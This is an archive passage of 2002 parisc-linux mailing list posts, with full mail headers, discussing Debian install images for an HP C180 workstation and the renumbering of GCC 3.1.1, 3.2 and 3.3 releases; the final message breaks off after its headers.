Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Tue, 30 Jul 2002 12:38:48 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020730113848.GL29996@sleepie.demon.co.uk>
References: <20020730020030.40187.qmail@web12502.mail.yahoo.com> <20020730122859.GA14721@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621579 11845 80.91.229.3 (22 Nov 2014 01:59:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:39 +0000 (UTC)
To: Michael Wood <mwood@its.uct.ac.za>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 06:42:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id C29AE4842
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 06:42:13 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id BEE859E846; Tue, 30 Jul 2002 12:38:48 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020730122859.GA14721@marmite.its.uct.ac.za>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15684

On Tue, Jul 30, 2002 at 02:28:59PM +0200, Michael Wood wrote:
> On Mon, Jul 29, 2002 at 07:00:30PM -0700, Derek Engelhaupt wrote:
> [snip]
> > troubleshoot HP hardware.  I have dowloaded the Debian
> > palinux-0.9.3.iso.gz from http://ftp.parisc-linux.org/cd-images/ to my
> [snip]
> 
> Should people still be using 0.9.3 or should they rather use Debian 3.0
> CDs?

0.9.3 is rather dated now, so Debian 3.0 is a better choice.  You'll see
www.parisc-linux.org has been updated in the last day.  Debian 3.0 ISOs
have a 2.4.17-pa32 kernel, so there may be machines where a newer kernel
would be better.  In that case, you could look in
<ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/> where you'll
find some unofficial, lightly tested, smaller (70MB) images with recent
kernels.

Richard



From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 11:33:20 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200207301533.g6UFXLge019647@hiauly1.hia.nrc.ca>
References: <20020730073009.N1441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621579 11848 80.91.229.3 (22 Nov 2014 01:59:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:39 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 09:33:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12CAC482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 09:33:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6D2ru01019648;
	Tue, 30 Jul 2002 11:33:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6UFXLge019647;
	Tue, 30 Jul 2002 11:33:21 -0400 (EDT)
In-Reply-To: <20020730073009.N1441@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jul 30, 2002 07:30:09 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15685

> ah, you haven't been following the gcc mailing list.  due to a pressing
> need to change the c++ ABI, the current 3.1 development tree has been
> renamed to 3.2 and the erstwhile 3.2 development line has been renamed
> to 3.3.

3.1.1 has just been released.  3.2 will be released in the near future
and it will be identical to 3.1.1 except for the updates to the c++
ABI.  The 3.1 branch is now dead.  Regression fixing will continue
on the 3.2 branch after the first release.  The update to the 3.1
branch was made to accomodate the schedule of other projects (e.g.,
OpenOffice).  Since dwarf2 exception support isn't in 3.2, I doubt
this will affect hppa-linux much.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Tue, 30 Jul 2002 10:18:07 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <000301c237e4$b0887800$3c8a260f@gr.hp.com>
References: <20020730113848.GL29996@sleepie.demon.co.uk>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621579 11851 80.91.229.3 (22 Nov 2014 01:59:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:39 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 10:13:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70B19482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 10:13:25 -0600 (MDT)
Original-Received: from hpgrla.gr.hp.com (hpgrla.gr.hp.com [15.57.1.1])
	by palrel10.hp.com (Postfix) with ESMTP id 7E7ADC00E52
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 09:13:24 -0700 (PDT)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.138.59])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_25183)/8.9.3 SMKit7.01) with SMTP id KAA26603
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 10:13:23 -0600 (MDT)
Original-Received: from zaxxon ([15.38.138.60] verified) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000038433 for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 10:13:18 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <20020730113848.GL29996@sleepie.demon.co.uk>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15686

> 0.9.3 is rather dated now, so Debian 3.0 is a better choice.  You'll see
> www.parisc-linux.org has been updated in the last day.  Debian 3.0 ISOs
> have a 2.4.17-pa32 kernel, so there may be machines where a newer kernel
> would be better.  In that case, you could look in
> <ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/> where you'll
> find some unofficial, lightly tested, smaller (70MB) images with recent
> kernels.

Any plans to put together an official full iso, a 0.9.4 perhaps?

Sean


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Tue, 30 Jul 2002 16:36:02 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020730153602.GO29996@sleepie.demon.co.uk>
References: <20020730113848.GL29996@sleepie.demon.co.uk> <000301c237e4$b0887800$3c8a260f@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621580 11853 80.91.229.3 (22 Nov 2014 01:59:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sean Anaya <sanaya@gr.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 10:39:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C5F2482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 10:39:29 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 56C4B9E846; Tue, 30 Jul 2002 16:36:02 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <000301c237e4$b0887800$3c8a260f@gr.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15687

On Tue, Jul 30, 2002 at 10:18:07AM -0600, Sean Anaya wrote:
> Any plans to put together an official full iso, a 0.9.4 perhaps?

If by that you mean a 600MB (or similar) image, I'm not sure there is
any point; Debian 3.0 CD1 is effectively that.

Richard



From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 15:20:41 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20020730192041.GD6502@systemhalted>
References: <20020730073009.N1441@parcelfarce.linux.theplanet.co.uk> <200207301533.g6UFXLge019647@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621580 11855 80.91.229.3 (22 Nov 2014 01:59:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 13:21:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 227D5482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 13:21:52 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17ZcXx-0001tJ-00; Tue, 30 Jul 2002 15:20:41 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200207301533.g6UFXLge019647@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15688

> 
> 3.1.1 has just been released.  3.2 will be released in the near future
> and it will be identical to 3.1.1 except for the updates to the c++
> ABI.  The 3.1 branch is now dead.  Regression fixing will continue
> on the 3.2 branch after the first release.  The update to the 3.1
> branch was made to accomodate the schedule of other projects (e.g.,
> OpenOffice).  Since dwarf2 exception support isn't in 3.2, I doubt
> this will affect hppa-linux much.
>

dwarf2 exception support isn't in 3.2 for hppa?
I'm confused, I believed that dwarf2 exception support wasn't
goin to be in 3.1, but surely in 3.2? 

Dave, please say this a typo :)

c.


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 20:40:07 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020730204007.E3317@parcelfarce.linux.theplanet.co.uk>
References: <20020730073009.N1441@parcelfarce.linux.theplanet.co.uk> <200207301533.g6UFXLge019647@hiauly1.hia.nrc.ca> <20020730192041.GD6502@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621580 11857 80.91.229.3 (22 Nov 2014 01:59:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:40 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 13:40:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3536482A
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 13:40:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Zcql-0006gp-00; Tue, 30 Jul 2002 20:40:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020730192041.GD6502@systemhalted>; from carlos@baldric.uwo.ca on Tue, Jul 30, 2002 at 03:20:41PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15689

On Tue, Jul 30, 2002 at 03:20:41PM -0400, Carlos O'Donell wrote:
> > 
> > 3.1.1 has just been released.  3.2 will be released in the near future
> > and it will be identical to 3.1.1 except for the updates to the c++
> > ABI.  The 3.1 branch is now dead.  Regression fixing will continue
> > on the 3.2 branch after the first release.  The update to the 3.1
> > branch was made to accomodate the schedule of other projects (e.g.,
> > OpenOffice).  Since dwarf2 exception support isn't in 3.2, I doubt
> > this will affect hppa-linux much.
> 
> dwarf2 exception support isn't in 3.2 for hppa?
> I'm confused, I believed that dwarf2 exception support wasn't
> goin to be in 3.1, but surely in 3.2? 

The renumbering has confused everyone (as I rather thought it might).
Old plan:	New:

3.1		3.1
3.1.1		3.1.1
3.1.2		3.2
3.2		3.3

So everything which used to read `this will be in gcc 3.2' should now read
`this will be in gcc 3.3'.  And everything which was `not in 3.1' is now
`not in 3.1 or 3.2 either'.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 15:53:12 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200207301953.g6UJrDrs020716@hiauly1.hia.nrc.ca>
References: <20020730192041.GD6502@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621580 11860 80.91.229.3 (22 Nov 2014 01:59:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 13:53:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43585482B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 13:53:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6UJrD00020718;
	Tue, 30 Jul 2002 15:53:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6UJrDrs020716;
	Tue, 30 Jul 2002 15:53:13 -0400 (EDT)
In-Reply-To: <20020730192041.GD6502@systemhalted> from "Carlos O'Donell" at Jul 30, 2002 03:20:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15690

> dwarf2 exception support isn't in 3.2 for hppa?
> I'm confused, I believed that dwarf2 exception support wasn't
> goin to be in 3.1, but surely in 3.2? 

It's not a typo.  What was 3.2 is now 3.3.  As was noted, 3.2
is going to be identical to 3.1.1 except for a c++ abi change.
3.2 should be out this week barring unforeseen problems.  The
3.1 branch has only been open for regression fixing for some
time now.

3.3 is scheduled to go into stage3 (bug fixing) on Aug. 15.
The 3.3 release is scheduled for Dec. 15.  The numbering change
hasn't affected the schedule for the next release from the
mainline.

Clear?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC CVS strange update?
Date: Tue, 30 Jul 2002 16:04:37 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200207302004.g6UK4b4S020794@hiauly1.hia.nrc.ca>
References: <20020730204007.E3317@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621581 11862 80.91.229.3 (22 Nov 2014 01:59:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:41 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 14:04:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D339482B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Jul 2002 14:04:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6UK4b00020795;
	Tue, 30 Jul 2002 16:04:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6UK4b4S020794;
	Tue, 30 Jul 2002 16:04:37 -0400 (EDT)
In-Reply-To: <20020730204007.E3317@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jul 30, 2002 08:40:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15691

> 3.1.2		3.2

Although the 3.1 branch is nominally closed, it would seem possible
that somebody might want a release after 3.1.1 with the old c++ abi.
Thus, a new branch had to be created.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sue Ludwig" <sue_ludwig@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SOM linker on Linux/ia32, Linux/PARISC targeting HPUX/PARISC
Date: Tue, 30 Jul 2002 13:55:26 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <001501c2380b$6f1ea430$ce60000f@HPPDL632>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621581 11864 80.91.229.3 (22 Nov 2014 01:59:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:41 +0000 (UTC)
Cc: "Sue Ludwig (E-mail)" <shl@cup.hp.com>
To: <parisc-linux@lists.parisc-linux.org>,
	<linker-info@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 14:55:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5820E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jul 2002 14:55:28 -0600 (MDT)
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.244.96.175])
	by palrel10.hp.com (Postfix) with ESMTP
	id 10BA9C00A37; Tue, 30 Jul 2002 13:55:28 -0700 (PDT)
Original-Received: from HPPDL632 (hppdl632.cup.hp.com [15.0.96.206])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA28960;
	Tue, 30 Jul 2002 13:55:27 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
